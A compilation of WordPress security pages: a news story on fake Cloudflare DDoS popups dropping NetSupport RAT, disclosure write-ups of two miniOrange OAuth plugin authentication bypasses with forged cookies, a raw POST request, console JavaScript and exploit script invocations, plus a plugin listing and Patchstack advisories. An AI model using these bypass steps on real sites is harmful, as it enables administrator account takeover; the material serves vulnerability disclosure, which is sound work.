By Waqas
The malware dropped in this attack is the NetSupport RAT which was previously identified in malicious MS Word documents.
This is a post from HackRead.com Read the original post: Attackers using fake Cloudflare DDoS protection popups to distribute malware

A new threat campaign has been discovered by cybersecurity researchers at Sucuri, in which attackers are using fake **Cloudflare DDoS protection** popups to distribute malware.

According to Sucuri’s findings, the attack starts with malicious JavaScript that targets WordPress sites. Users are tricked into downloading malware that leads to the hijacking of their devices.

The victim unknowingly downloads a remote access trojan (**RAT**), which has been flagged by at least thirteen security vendors so far.

**How does the Attack Take Place?**

Researchers noted that attackers hack **poorly protected WordPress websites** and add an obfuscated JavaScript payload. This payload displays a fake DDoS protection page. The visitor is requested to click on a button to bypass the DDoS protection screen, but when clicked, it downloads a file to the computer (‘security\_install.iso).

Then the visitor is asked to open this file, which pretends to be a DDOS GUARD application. There’s a code provided that the victim must enter, and another file appears (security\_install.exe). This file is a Windows shortcut that runs a PowerShell command from the Debug.txt file. Several other scripts are run, and the fake DDoS code is displayed.

However, in the background, the **NetSupport RAT** is installed. This RAT is commonly and extensively used in malware campaigns nowadays. The malicious scripts also download the Raccoon Stealer 2.0- a password-stealing trojan.

Fake Cloudflare page dropping malware

This malware steals cookies, passwords, credit card info, auto-fill data, and a wide range of cryptocurrency wallets. It can also perform file exfiltration and captures screenshots of the victim’s display screen. Regarding the possible threats/dangers of this campaign, here’s what the researchers wrote in their **report**:

> “The infected computer could be used to pilfer social media or banking credentials, detonate ransomware, or even entrap the victim into a nefarious ‘slave’ network, extort the computer owner, and violate their privacy – all depending on what the attackers decide to do with the compromised device.”

**What are DDoS Protection Pages?**

You may often come across DDoS Protection pages while browsing the web. These pages are linked with WAF/CDN services that perform browser performance checks and verify if the site visitor is a human, bot, or part of a **DDoS attack**.

These pages usually don’t affect users as they perform a simple check or request for a skill test before proceeding to their desired website/webpage. But, in the recently discovered campaign, JavaScript injections are used in WordPress sites to create fake DDoS protection popups.

**How to Stay Protected?**

Site admins must always check their WordPress sites’ theme files because this is the most widely exploited feature in this campaign and regularly update the software, use 2FA and strong passwords, and **deploy a firewall**.

Furthermore, it is essential to use a file integrity monitoring system as it can quickly catch JavaScript injections and prevent the website from becoming a malware distribution point.

On the other hand, users should enable strict script blocking settings on the browser and keep in mind that they don’t need to download ISO files as anti-DDoS procedures.

1.  **Google Fended Off Largest Ever Layer 7 DDoS Attack**
2.  **DDoS booter customers received warning letters from Dutch police**
3.  **DDoS App Meant to Hit Russia Infected Phones of Ukrainian Activists**
4.  **Canadian firm VoIP.ms hit by non-stop extortion-based DDoS attacks**
5.  **Tiny Mantis Botnet Can Launch More Powerful DDoS Attacks Than Mirai**

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Attackers using fake Cloudflare DDoS protection popups to distribute malware

Authentication Bypass vulnerability in miniOrange WP OAuth Server plugin <= 3.0.4 at WordPress.



The plugin was affected by an Auth Bypass vulnerability. To bypass authentication, we only need to know the user’s username. Depending on whose username we know, which can be easily queried because it is usually public data, we may even be given an administrator role on the client’s website.

**Let’s check the plugin**

The _mo_get_logged_user_from_auth_cookie() function get logged in user with the following code:

    $auth_cookie = wp_parse_auth_cookie( '', 'logged_in' );
    
    if ( ! $auth_cookie || is_wp_error( $auth_cookie ) || ! $auth_cookie['token'] || ! $auth_cookie['username'] ) {
    	return false;
    }}

We can see from the code that it uses the wp_parse_auth_cookie() function. Which is a completely faulty use in this case, as it does not use authentication. Description of the function:

> Authentication cookie components. None of the components should be assumed to be valid as they come directly from a client-provided cookie value.

It is clearly described that the returned value is not validated. But the plugin doesn’t use any validation.

**Let’s see how we can exploit this vulnerability**

All we have to do is set a logged in cookie that contains the username. The other values can be anything, as there is no validation in the plugin.

The default logged in cookie name is:

    define( 'LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH );

where the hash is:

    define( 'COOKIEHASH', md5( $siteurl ) );

So in the https://lana.solutions/vdb/miniorange-oauth-server which is a test WordPress website:

57a442d3cd2a47583304a69461f75869, which is the result of the following function:

    echo md5('https://lana.solutions/vdb/miniorange-oauth-server');

If we set the following cookie, we can authenticate ourselves as a test user on the OAuth server:

    wordpress_logged_in_57a442d3cd2a47583304a69461f75869=test%7Canything%7Canything%7Canything;

Let’s try it in the easiest way. I created a JavaScript code for the exploit that set the logged in cookie.

So we can even do this through a browser by opening the server’s website, which in our case is https://lana.solutions/vdb/miniorange-oauth-server/, then going to the console and entering the following code:

    document.cookie="wordpress_logged_in_57a442d3cd2a47583304a69461f75869=test%7Canything%7Canything%7Canything";

Then open the client’s website, which in our case is https://lana.solutions/vdb/miniorange-oauth-client/wp-admin and log in using the Single Sign On button.

**The professional exploit script**

I created a Python script with Selenium that exploits the vulnerability and automatically opens the webpage in Google Chrome:

Source: miniorange\_oauth\_server\_plugin\_vdb\_exploit\_with\_selenium.py

How to use:

    python3 miniorange_oauth_server_plugin_vdb_exploit_with_selenium.py --client_url="https://lana.solutions/vdb/miniorange-oauth-client/" --server_url="https://lana.solutions/vdb/miniorange-oauth-server/" --username="test"

Run the above command in the Linux (desktop version) terminal.

How the exploit works step by step:

*   Opens OAuth server website
*   Sets the logged in cookie with the “test” username
*   Opens OAuth client website
*   Click Single Sign On button (so it starts OAuth authentication)

**Try it**

Feel free to try and use the lana.solutions/vdb WordPress websites for testing. I have set the roles and capabilities, so you can only get low level access to the website.

Client: https://lana.solutions/vdb/miniorange-oauth-client/

Server: https://lana.solutions/vdb/miniorange-oauth-server/

CVE-2022-34149: WP OAuth Server (Login with WordPress) by miniOrange WordPress plugin Authentication Bypass

Authentication Bypass vulnerability in miniOrange WP OAuth Server plugin <= 3.0.4 at WordPress.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

WP OAuth Server plugin turns your WordPress site into an OAuth Server. It allows you to login into Rocket Chat, Invision Community, WordPress, Odoo, EasyGenerator, Salesforce, Zapier, Moodle, Edunext, Wickr, Freshdesk, FreshWorks, ServiceNow, Knack database, Circlo.so, Tribe.so, Tribe, Mobilize, Nextcloud, Church Online, iSpring LMS, Nextcloud, Academy of Mine, BoardEffect, TalentLMS, PowerSchool and any other OAuth 2.0 compliant applications using WordPress credentials.

Basically, the OAuth Server plugin allows users to login into applications that are OAuth 2.0 compliant, using their WordPress login credentials. As it’s name suggests, it follows the OAuth 2.0 protocol. Along with that, it also supports OpenID Connect (OIDC), and JWT protocols.

The primary goal of the OAuth Server plugin is to enable Single Sign On so that users do not need to remember username and password for each application.  
Once Single Sign On is enabled, users do not need to store sensitive information to login into different applications.

**LIST OF POPULAR OAUTH CLIENTS SUPPORTED**

*   Rocket.Chat
*   Invision Community (IPB Forum)
*   Odoo
*   WordPress
*   EasyGenerator
*   Salesforce
*   Zapier
*   Moodle
*   Edunext
*   Wickr
*   Freshdesk
*   FreshWorks
*   ServiceNow
*   Knack database
*   Circle.so
*   Tribe.so
*   Mobilize
*   Nextcloud
*   iSpring LMS
*   Church Online
*   Academy of Mine
*   BoardEffect

**WORDPRESS OAUTH / OPENID CONNECT SERVER USE CASES**

*   If you want to use your WordPress site as an Identity Server / OAuth Server / OAuth Provider and use WordPress user’s login credentials to login into your client site / application then you can use this plugin. You can also decide what kind of User data / attributes you want to send while Single Sign On into your client site / application.
*   If you want to login to your Mobile app / Single Page web app (SPA) using your WordPress credentials, then you can use the Authorization code with PKCE flow grant type to achieve your use case.
*   Single set of credentials will be used to login to multiple WordPress websites.
*   You can access the NIGINX resources using NIGINX Authentication. Once you login into your client application using WP OAuth Server credentials, you will get JWT. Your client application can further use it for NGINX Authentication.

**WORDPRESS OAUTH / OPENID CONNECT SERVER FREE VERSION FEATURES**

*   Supports Login with WordPress for Single Client application
*   Protocol Support – OAuth 2.0, OpenID Connect (OIDC)
*   Master Switch – Block / unblock OAuth API calls between OAuth Clients and Server
*   Token Length – Change the access token length
*   Server Response – Sends User ID, username, email, first name, last name, display name in the response
*   Grant types Supported – Authorization Code grant
*   OAuth API Documentation
*   Setup guides to configure the plugin with various OAuth Clients (more coming soon)

**WORDPRESS OAUTH / OPENID CONNECT SERVER PREMIUM VERSION FEATURES**

*   All FREE version features
*   Supports Login with WordPress for Multiple Client applications
*   Server Response – Sends all the profile attributes along with roles, allows to send custom attributes from usermeta table and also customize the attribute names that need to be sent in server response
*   Grant Types Supported : Authorization Code Grant, Implicit Grant, Password Grant, Client Credentials Grant, Refresh Token Grant, Authorization Code grant with PKCE flow
*   Token Lifetime – Configure the access token and refresh token expiry time
*   Enforce State Parameter – Based on client configuration, you can enable or disable state parameter
*   Authorize / Consent prompt – Enable / disable the consent screen
*   Redirect/Callback URI Validation – Enable / disable this feature, based on dynamic redirect to a different pages for certain conditions
*   Multi-Site Support – Use the plugin in WordPress Multisite network environment
*   JWT Signing Algorithm – Supports signing algorithms HSA and RSA
*   Additional endpoints – Provides OpenID Connect Discovery endpoint, Introspection endpoint, OpenID Connect Single logout endpoint  
    A grant is a method of acquiring an access token. Deciding which grants to implement depends on the type of client the end user will be using, and the experience you want for your users.

**WE SUPPORT FOLLOWING GRANTS:**

*   **Authorization code grant** : This code grant is used when there is a need to access the protected resources on behalf of the user on another third party application.
*   **Implicit grant** : This grant relies on resource owner and registration of redirect uri. In authorization code grant users need to ask for authorization and access token each time, but here access token is granted for a particular redirect uri provided by a client using a particular browser.
*   **Client credential grant** : This grant type heads towards specific clients, where access token is obtained by client by only providing client credentials. This grant type is quite confidential.
*   **Resource owner password credentials grant** : This type of grant is used where the resource owner has a trust relationship with the client. Just by using username and password, provided by resource owner authorization and authentication can be achieved.
*   **Refresh token grant** : Access tokens obtained in OAuth flow eventually expire. In this grant type client can refresh his or her access token.
*   **Authorization code grant with PKCE flow** : This grant type is used for public clients like mobile and native apps, Single Page web apps, where there is a risk of client secret being compromised.

**REST API AUTHENTICATION**

Rest API is very much open to interact. Creating posts, getting information of users and much more is readily available.  
It secures unauthorized access to your WordPress sites/pages using our WordPress REST API Authentication plugin .

**From your WordPress dashboard**

1.  Visit Plugins > Add New
2.  Search for OAuth 2.0 server. Find and Install OAuth 2.0 server
3.  Activate the plugin from your Plugins page

**From WordPress.org**

1.  Download OAuth 2.0 server.
2.  Unzip and upload the miniorange-oauth-login directory to your /wp-content/plugins/ directory.
3.  Activate miniOrange OAuth from your Plugins page.

**I need to customize the plugin or I need support and help?**

Please email us at info@xecurify.com or Contact us. You can also submit your query from plugin’s configuration page.

Initial setup was giving my team some issues and we were able to get walked through a drupal to wordpress sso setup with the team at miniorange.

The plugin works without problems, and our Wordpress site's login is now working smooth. Very helpful and capable Support, who has answered in a fast manner. They get directly to the point and answer the questions with rich answers that makes even a (in the context of SSO) less experienced user understand what is happening.

The free version of this plugin worked great for my use case. I had some issues initially that ended up being on the side of my hosting provider, but the support I received by the developers of this plugin was well beyond what I would have expected.

I tried this plugin to link Wordpress with Invision Community (IPS). According to the docs at Invision, there are 2 ways to do this. I chose the first one linking IPS to WP as the server as opposed to IPS acting as the server. My review is based on this experience but I'll try the other way too. It quick and easy to set up, and clearly there's a large amount of work gone into it, but once I'd got the connection configured, that's when I found that the logins expire after just 600 seconds, that's just 10 minutes! According to the support section, it says this is fixed at 3600 seconds, unless you upgrade to the pro. But 10 mins isn't an hour, which would be okay at minimum for a WP site member to browse and compose a comment or review on Gallery images, post in a forum etc in Invision Community forming part of the same site. Secondly, probably 90%+ of this plugin is locked down and almost everything seems to say you need to upgrade to pro. Instead of 7 tabs full of settings and options you can't use, why not create a simpler lite version with a non-intrusive ad for the pro version benefits? If you want a simple Single Sign On OAUTH solution to link your WP user accounts to your IPS accounts and sync basic profile info for the convenience of your visitors but then forget about it, it will do the job but as crippled as it is, this probably isn't what you are looking for, unless you want the pro support and anything beyond the bare minimum.

We were very impressed with the level of support given by the miniorange team. During our development we ran into a few problems due to other plugins and our custom application, which caused problems for logout. However, the miniorange team was great they were quick to respond to our questions and even attended a zoom session with us to help track down the problem. Definitely one of the best plugin authors for support. I've worked with many and these guys are second to none.

We ended up not buying the plugin but we have to admit the pre-sales support was stellar including pro-actively reaching us to help configure it.

Read all 27 reviews

“WP OAuth Server ( Login with WordPress )” is open source software. The following people have contributed to this plugin.

Contributors

**4.0.1**

*   Vulnerability fixes
*   Code improvements

**3.0.4**

*   Token Post Response header already sent warning fix

**3.0.3**

*   Database Query Optimization

**3.0.2**

*   CORS issue fix
*   Added trial option of the premium
*   Licensing page changes

**3.0.1**

*   Added compatibility with WP 5.9
*   Improved performance of website by setting autoload to false

**3.0.0**

*   Support for email attribute in the userinfo endpoint
*   Link to the OAuth API documention
*   Client specific UI improvements

**2.13.8**

*   Security Fixes

**2.13.7**

*   UI improvement – Copy button for endpoints and client credentials
*   Bug fix for supplied\_redirect\_uri
*   Consent screen on every login

**2.13.6**

*   permission\_callback warning fix

**2.13.5**

*   minor bug fixes
*   added copy button to copy the client credentials and endpoints
*   readme update

**2.13.4**

*   minor UI updates
*   added compatibility with WP 5.7

**2.13.3**

*   minor bug fixes
*   fixed compatibility with Brizzy
*   added compatibility with WP 5.6

**2.13.2**

*   minor bug fixes
*   fixed issue with deactivation form
*   added compatibility with WP 5.5

**2.13.1**

*   Added compatibility with WordPress v5.5

**2.13.0**

*   Added UI fixes
*   Updated demo plan fixes
*   Minor bugfixes and compatibility fixes

**2.12.4**

*   Licensing tab fix

**2.12.3**

*   Added fixes for some features
*   Added option to disable authorize screen

**2.12.2**

*   Added Compatibility with WordPress v5.4

**2.12.0**

*   Performance Improvements

**2.11.0**

*   Fixed bug where blank scope led to blank screen
*   Fixed “Deny” button resulting in clicking “Allow”
*   Fixed unaccounted bytes error notice on activation
*   Updated plugin licensing
*   Minor UI Improvements

**2.10.0**

*   Added fixes for Loopback Request failure
*   Updated Endpoints based on REST API and Authorize Consent Screen
*   Minor Bugfixes

**2.9.1**

*   Fixed migration issue

**2.9.0**

*   Fixed bug where bearer access\_token was not recognized.
*   Updated Endpoints

**2.8.2**

*   Updated Installation Steps

**2.8.1**

*   Compatibility changes for miniOrange OAuth Single Sign On

**2.8.0**

*   Updated registration form
*   Advertised Introspection Endpoint

**2.7.0**

*   Added compatibility for WordPress Version 5.2
*   Added fixes for OpenID Connect flow
*   Added fixes for OTP related issue
*   Updated Endpoints
*   Added alternative for Sign Up
*   Advertised Scope Based Response

**2.6.1**

*   Fixed conflicts for function generateRandomString()

**2.6.0**

*   Advertised new features as per new Licensing Plan

**2.5.6**

*   Added Compatibility for Rocket.chat

**2.5.5**

*   Fixed OTP related issue

**2.5.4**

*   Updated Licensing Plan

**2.5.3**

*   Added Visual Tour fixes

**2.5.2**

*   Added bugfixes

**2.5.1**

*   Added missing files

**2.5.0**

*   New Features
*   Major UI Revamp
*   Added Feature Tour

**2.4.0**

*   Compatibility with WordPress 5.1

**2.3.0**

*   Added Feedback Form and Updated UI

**2.2.1**

*   Added support for Invision Community and Rocket.chat

**2.2.0**

*   Updated UI

**2.1.0**

*   Fixed the PHP7.2 Compatibility issue

**2.0.3**

*   Changes in the title

**2.0.2**

*   Added features

**2.0.1**

*   Added support for multiple client

**1.0.1**

*   Initial Release

CVE-2022-34149: WP OAuth Server ( Login with WordPress )

Authentication Bypass vulnerability in miniOrange OAuth 2.0 client for SSO plugin <= 1.11.3 at WordPress.



The plugin was affected by an Auth Bypass vulnerability. To bypass authentication, we only need to know the user’s email address. Depending on whose email address we know, we may even be given an administrator role on the client’s website.

**Let’s check the plugin**

The mo_oauth_login_validate() function includes the following request handling:

    if ( isset( $_REQUEST['option'] ) and strpos( $_REQUEST['option'], 'mooauth' ) !== false ) {
    
    	$user_email = '';
    	if ( array_key_exists( 'email', $_POST ) ) {
    		$user_email = sanitize_email( $_POST['email'] );
    	}
    	
    	if ( $user_email ) {
    		if ( email_exists( $user_email ) ) { // user is a member
    			$user    = get_user_by( 'email', $user_email );
    			$user_id = $user->ID;
    			wp_set_auth_cookie( $user_id, true );
    		} else { // this user is a guest
    			$random_password = wp_generate_password( 10, false );
    			$user_id         = wp_create_user( $user_email, $random_password, $user_email );
    			wp_set_auth_cookie( $user_id, true );
    		}
    	}
    	wp_redirect( home_url() );
    	exit;
    }

We can see from the code that if we specify $_POST['email'], the plugin will log the user in using the wp_set_auth_cookie() function. No verification or authentication. Nothing.

The other problem with the plugin is that if we give an email address in the request that does not exist in the database, it will create a new user, even if registration on the WordPress website is not enabled.

**Let’s see how we can exploit this vulnerability**

We only need to send a POST request to exploit this vulnerability.

The HTTP request to the https://lana.solutions/vdb/miniorange-oauth-client/ which is a test WordPress website:

    POST /vdb/miniorange-oauth-client/ HTTP/1.1
    Host: lana.solutions
    Content-Type: application/x-www-form-urlencoded
    
    option=mooauth&[email protected]

Let’s try it in the easiest way. I created a JavaScript code for the exploit that sends a POST request:

So we can even do this through a browser by opening the client’s website, which in our case is https://lana.solutions/vdb/miniorange-oauth-client/, then going to the console and entering the following code:

    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://lana.solutions/vdb/miniorange-oauth-client/', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onload = function() {
    	window.location.href = 'https://lana.solutions/vdb/miniorange-oauth-client/wp-admin/';
    }
    xhr.send('option=mooauth&[email protected]');

After successful login, the script will redirect us to the WordPress admin.

**The exploit script**

I created a Python script that returns the WordPress logged\_in cookie:

Source: miniorange\_oauth\_client\_plugin\_vdb\_get\_exploit\_cookie.py

How to use:

    python3 miniorange_oauth_client_plugin_vdb_get_exploit_cookie.py --client_url="https://lana.solutions/vdb/miniorange-oauth-client/" --email="[email protected]"

Run the above command in the Linux terminal.

We get something like this:

    wordpress_logged_in_7c51fdb9c753be4972c4c2d647b5ded1=test%7C1656911674%7C2PsqjZ8FHWAqXOhJFcIU7yQPaQFOwVIpOfdZmQEyavx%7C940bbe2d2e3736724984b401f8f829811e541ffe3eb948f407aeeaae11f423f6

Then all we have to do is use a cookie, such as JavaScript, in the browser console in the client’s website, which in our case is https://lana.solutions/vdb/miniorange-oauth-client/

    document.cookie="wordpress_logged_in_7c51fdb9c753be4972c4c2d647b5ded1=test%7C1656911674%7C2PsqjZ8FHWAqXOhJFcIU7yQPaQFOwVIpOfdZmQEyavx%7C940bbe2d2e3736724984b401f8f829811e541ffe3eb948f407aeeaae11f423f6"; location.reload();

**The professional exploit script**

I also created a Python script with Selenium that exploits the vulnerability and automatically opens the webpage in Google Chrome:

Source: miniorange\_oauth\_client\_plugin\_vdb\_exploit\_with\_selenium.py

How to use:

    python3 miniorange_oauth_client_plugin_vdb_exploit_with_selenium.py --client_url="https://lana.solutions/vdb/miniorange-oauth-client/" --email="[email protected]"

Run the above command in the Linux (desktop version) terminal.

**Try it**

Feel free to try and use the lana.solutions/vdb WordPress websites for testing. I have set the roles and capabilities, so you can only get low level access to the website.

Client: https://lana.solutions/vdb/miniorange-oauth-client/

Server: https://lana.solutions/vdb/miniorange-oauth-server/

**Additional tests**

I created a Postman request for exploit: Postman Web – MiniOrange Auth Request

Can be used by anyone after fork. The required variables are stored in the collection.

CVE-2022-34858: OAuth 2.0 client for SSO by miniOrange WordPress plugin Authentication Bypass

Authentication Bypass vulnerability in miniOrange OAuth 2.0 client for SSO plugin <= 1.11.3 at WordPress.

 Verified

 Fixed

**5.9**

CVSS 3.1 score Medium severity

Monitoring Coming soon

Find out about vulnerable plugins in your websites for free.

 Scan your website 

Software

 OAuth 2.0 client for SSO

Type

Plugin

Vulnerable versions

 <= 1.11.3

Fixed in

 1.11.4

PSID 

f26589749d3c

CVE ID 

 CVE-2022-34858

Classification 

Bypass Vulnerability

OWASP Top 10 

A2: Broken Authentication

Credits

 Lana Codes

Publicly disclosed

2022-08-02

**Details**

Authentication Bypass vulnerability discovered by Lana Codes in WordPress OAuth 2.0 client for SSO plugin (versions <= 1.11.3).

**Solution**

Update the WordPress OAuth 2.0 client for SSO plugin to the latest available version (at least 1.11.4).

**References**

CVE-2022-34858: WordPress OAuth 2.0 client for SSO plugin <= 1.11.3 - Authentication Bypass vulnerability - Patchstack

Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Max Foundry MaxButtons plugin <= 9.2 at WordPress.

 Verified

 Fixed

**4.3**

CVSS 3.1 score Medium severity

Monitoring Coming soon

Find out about vulnerable plugins in your websites for free.

 Scan your website 

Software

 MaxButtons

Type

Plugin

Vulnerable versions

 <= 9.2

Fixed in

 9.3

PSID 

b82d75299e1a

CVE ID 

 CVE-2022-36346

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Credits

 Muhammad Daffa (Patchstack Alliance)

Publicly disclosed

2022-08-02

**Details**

Multiple Cross-Site Request Forgery (CSRF) vulnerabilities were discovered by Muhammad Daffa (Patchstack Alliance) in WordPress MaxButtons plugin (versions <= 9.2).

**Solution**

Update the WordPress MaxButtons plugin to the latest available version (at least 9.3).

**References**

CVE-2022-36346: WordPress MaxButtons plugin <= 9.2 - Multiple Cross-Site Request Forgery (CSRF) vulnerabilities - Patchstack

Reflected Cross-Site Scripting (XSS) vulnerability in smartypants SP Project & Document Manager plugin <= 4.59 at WordPress

 Verified

 Fixed

**6.1**

CVSS 3.1 score Medium severity

Monitoring Coming soon

PSID 

36ad25333709

Classification 

Cross Site Scripting (XSS)

OWASP Top 10 

A7: Cross-Site Scripting (XSS)

Publicly disclosed

2022-08-10

**Details**

Reflected Cross-Site Scripting (XSS) vulnerability discovered by Vlad Vector (Patchstack) in WordPress SP Project & Document Manager plugin (versions <= 4.59).

**Solution**

Update the WordPress SP Project & Document Manager plugin to the latest available version (at least 4.62).

**References**

CVE-2022-34857: WordPress SP Project & Document Manager plugin <= 4.59 - Reflected Cross-Site Scripting (XSS) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in ThimPress WP Hotel Booking plugin <= 1.10.5 at WordPress.

 Verified

 Not fixed

**4.3**

CVSS 3.1 score Medium severity

Monitoring Coming soon

Find out about vulnerable plugins in your websites for free.

 Scan your website 

Software

 WP Hotel Booking

Type

Plugin

Vulnerable versions

<= 1.10.5

Fixed in

N/A

PSID 

0a7f6ee8db85

CVE ID 

 CVE-2021-36852

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Credits

 Ngo Van Thien (Alliance project)

Publicly disclosed

2022-08-02

**Details**

Cross-Site Request Forgery (CSRF) vulnerability discovered by Ngo Van Thien (Patchstack Alliance) in the WordPress WP Hotel Booking plugin (versions <= 1.10.5).

**Solution**

No patched version is available.

**References**

CVE-2021-36852: WordPress WP Hotel Booking plugin <= 1.10.5 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

Authenticated (editor+) Stored Cross-Site Scripting (XSS) vulnerability in wpshopmart Testimonial Builder plugin <= 1.6.1 at WordPress.

 Verified

 Fixed

**4.8**

CVSS 3.1 score Medium severity

Monitoring Coming soon

PSID 

c4562a76af28

Classification 

Cross Site Scripting (XSS)

OWASP Top 10 

A7: Cross-Site Scripting (XSS)

Required privilege 

Requires editor or higher role user authentication.

Publicly disclosed

2021-11-07

**Details**

Authenticated Stored Cross-Site Scripting (XSS) vulnerability discovered by Ngo Van Thien (Patchstack Alliance) in WordPress Testimonial Builder plugin (versions <= 1.6.1).

**Solution**

Update the WordPress Testimonial plugin to the latest available version (at least 1.6.2).

**References**

Changeset

CVE-2021-36857: WordPress Testimonial Builder plugin <= 1.6.1 - Authenticated Stored Cross-Site Scripting (XSS) vulnerability - Patchstack

Authenticated (admin+) Stored Cross-Site Scripting (XSS) vulnerability in WebbaPlugins Webba Booking plugin <= 4.2.21 at WordPress.

Tag

#wordpress